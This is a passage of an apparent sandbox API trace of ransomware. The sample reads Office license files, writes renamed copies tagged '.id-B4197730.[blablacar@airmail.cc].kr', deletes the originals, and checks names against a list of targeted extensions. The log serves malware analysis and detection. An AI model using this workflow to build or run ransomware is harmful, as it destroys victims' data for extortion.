lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.599] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.599] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.600] GetLastError () returned 0x0 [0211.600] ReadFile (in: hFile=0x38c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d86, lpOverlapped=0x0) returned 1 [0211.775] WriteFile (in: hFile=0x56c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d90, lpOverlapped=0x0) returned 1 [0211.777] ReadFile (in: hFile=0x38c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0211.777] WriteFile (in: hFile=0x56c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0211.777] SetEndOfFile (hFile=0x56c) returned 1 [0211.777] CloseHandle (hObject=0x56c) returned 1 [0211.777] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0211.777] SetEndOfFile (hFile=0x38c) returned 1 [0211.780] CloseHandle (hObject=0x38c) returned 1 [0211.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0212.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.010] lstrlenW (lpString=".doc") returned 4 [0212.010] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.021] lstrlenW (lpString=".docx") returned 5 [0212.021] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.021] lstrlenW (lpString=".pdf") returned 4 [0212.021] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.021] lstrlenW (lpString=".xls") returned 4 [0212.021] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.021] lstrlenW (lpString=".xlsx") returned 5 [0212.021] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.021] lstrlenW (lpString=".ppt") returned 4 [0212.021] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.032] lstrlenW (lpString=".zip") returned 4 [0212.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.032] lstrlenW (lpString=".rar") returned 4 [0212.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.032] lstrlenW (lpString=".bz2") returned 4 [0212.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString=".7z") returned 3 [0212.033] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.033] lstrlenW (lpString=".dbf") returned 4 [0212.033] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.033] lstrlenW (lpString=".1cd") returned 4 [0212.033] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.033] lstrlenW (lpString=".jpg") returned 4 [0212.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.033] lstrlenW (lpString=".doc") returned 4 [0212.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString=".docx") returned 5 [0212.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.033] lstrlenW (lpString=".pdf") returned 4 [0212.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString=".xls") returned 4 [0212.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString=".xlsx") returned 5 [0212.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.033] lstrlenW (lpString=".ppt") returned 4 [0212.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.033] lstrlenW (lpString=".zip") returned 4 [0212.034] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.034] lstrlenW (lpString=".rar") returned 4 [0212.034] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.034] lstrlenW (lpString=".bz2") returned 4 [0212.034] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.034] lstrlenW (lpString=".7z") returned 3 [0212.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.034] lstrlenW (lpString=".dbf") returned 4 [0212.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.034] lstrlenW (lpString=".1cd") returned 4 [0212.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0212.034] lstrlenW (lpString=".jpg") returned 4 [0212.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.034] lstrlenW (lpString="PersonalR_Retail-ppd.xrm-ms") returned 27 [0212.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.035] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20992) returned 1 [0212.035] CloseHandle (hObject=0x3bc) returned 1 [0212.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms")) returned 0x220 [0212.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.035] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.035] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0212.036] GetLastError () returned 0x0 [0212.036] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5200, lpOverlapped=0x0) returned 1 [0212.038] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5210, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5210, lpOverlapped=0x0) returned 1 [0212.040] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.040] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0212.040] SetEndOfFile (hFile=0x36c) returned 1 [0212.040] CloseHandle (hObject=0x36c) returned 1 [0212.040] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.040] SetEndOfFile (hFile=0x3bc) returned 1 [0212.047] CloseHandle (hObject=0x3bc) returned 1 [0212.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms")) returned 1 [0212.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.048] lstrlenW (lpString=".doc") returned 4 [0212.048] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.048] lstrlenW (lpString=".docx") returned 5 [0212.048] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.049] lstrlenW (lpString=".pdf") returned 4 [0212.049] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString=".xls") returned 4 [0212.049] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString=".xlsx") returned 5 [0212.049] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.049] lstrlenW (lpString=".ppt") returned 4 [0212.049] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.049] lstrlenW (lpString=".zip") returned 4 [0212.049] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString=".rar") returned 4 [0212.049] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString=".bz2") returned 4 [0212.049] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString=".7z") returned 3 [0212.049] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.049] lstrlenW (lpString=".dbf") returned 4 [0212.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.049] lstrlenW (lpString=".1cd") returned 4 [0212.049] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.049] lstrlenW (lpString=".jpg") returned 4 [0212.049] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.049] lstrlenW (lpString=".doc") returned 4 [0212.049] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.049] lstrlenW (lpString=".docx") returned 5 [0212.049] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.049] lstrlenW (lpString=".pdf") returned 4 [0212.050] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString=".xls") returned 4 [0212.050] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString=".xlsx") returned 5 [0212.050] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.050] lstrlenW (lpString=".ppt") returned 4 [0212.050] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.050] lstrlenW (lpString=".zip") returned 4 [0212.050] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString=".rar") returned 4 [0212.050] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString=".bz2") returned 4 [0212.050] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString=".7z") returned 3 [0212.050] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.050] lstrlenW (lpString=".dbf") returned 4 [0212.050] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.050] lstrlenW (lpString=".1cd") returned 4 [0212.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0212.050] lstrlenW (lpString=".jpg") returned 4 [0212.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.050] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.050] lstrlenW (lpString="PersonalR_Retail-ul-oob.xrm-ms") returned 30 [0212.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.051] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11589) returned 1 [0212.051] CloseHandle (hObject=0x3bc) returned 1 [0212.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms")) returned 0x220 [0212.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.052] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.052] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0212.053] GetLastError () returned 0x0 [0212.053] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d45, lpOverlapped=0x0) returned 1 [0212.055] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0212.056] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.056] WriteFile (in: hFile=0x36c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0212.056] SetEndOfFile (hFile=0x36c) returned 1 [0212.056] CloseHandle (hObject=0x36c) returned 1 [0212.056] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.056] SetEndOfFile (hFile=0x3bc) returned 1 [0212.059] CloseHandle (hObject=0x3bc) returned 1 [0212.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms")) returned 1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.060] lstrlenW (lpString=".doc") returned 4 [0212.060] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.060] lstrlenW (lpString=".docx") returned 5 [0212.060] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.060] lstrlenW (lpString=".pdf") returned 4 [0212.060] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.060] lstrlenW (lpString=".xls") returned 4 [0212.060] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.060] lstrlenW (lpString=".xlsx") returned 5 [0212.060] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.060] lstrlenW (lpString=".ppt") returned 4 [0212.060] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.060] lstrlenW (lpString=".zip") returned 4 [0212.060] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.060] lstrlenW (lpString=".rar") returned 4 [0212.061] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString=".bz2") returned 4 [0212.061] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString=".7z") returned 3 [0212.061] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.061] lstrlenW (lpString=".dbf") returned 4 [0212.061] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.061] lstrlenW (lpString=".1cd") returned 4 [0212.061] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.061] lstrlenW (lpString=".jpg") returned 4 [0212.061] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.061] lstrlenW (lpString=".doc") returned 4 [0212.061] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString=".docx") returned 5 [0212.061] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.061] lstrlenW (lpString=".pdf") returned 4 [0212.061] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString=".xls") returned 4 [0212.061] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString=".xlsx") returned 5 [0212.061] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.061] lstrlenW (lpString=".ppt") returned 4 [0212.061] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.061] lstrlenW (lpString=".zip") returned 4 [0212.061] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.061] lstrlenW (lpString=".rar") returned 4 [0212.061] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.062] lstrlenW (lpString=".bz2") returned 4 [0212.062] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.062] lstrlenW (lpString=".7z") returned 3 [0212.062] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.062] lstrlenW (lpString=".dbf") returned 4 [0212.062] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.062] lstrlenW (lpString=".1cd") returned 4 [0212.062] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0212.062] lstrlenW (lpString=".jpg") returned 4 [0212.062] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.062] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.062] lstrlenW (lpString="PersonalR_Retail-ul-phn.xrm-ms") returned 30 [0212.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0212.063] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19934) returned 1 [0212.063] CloseHandle (hObject=0x3bc) returned 1 [0212.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms")) returned 0x220 [0212.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 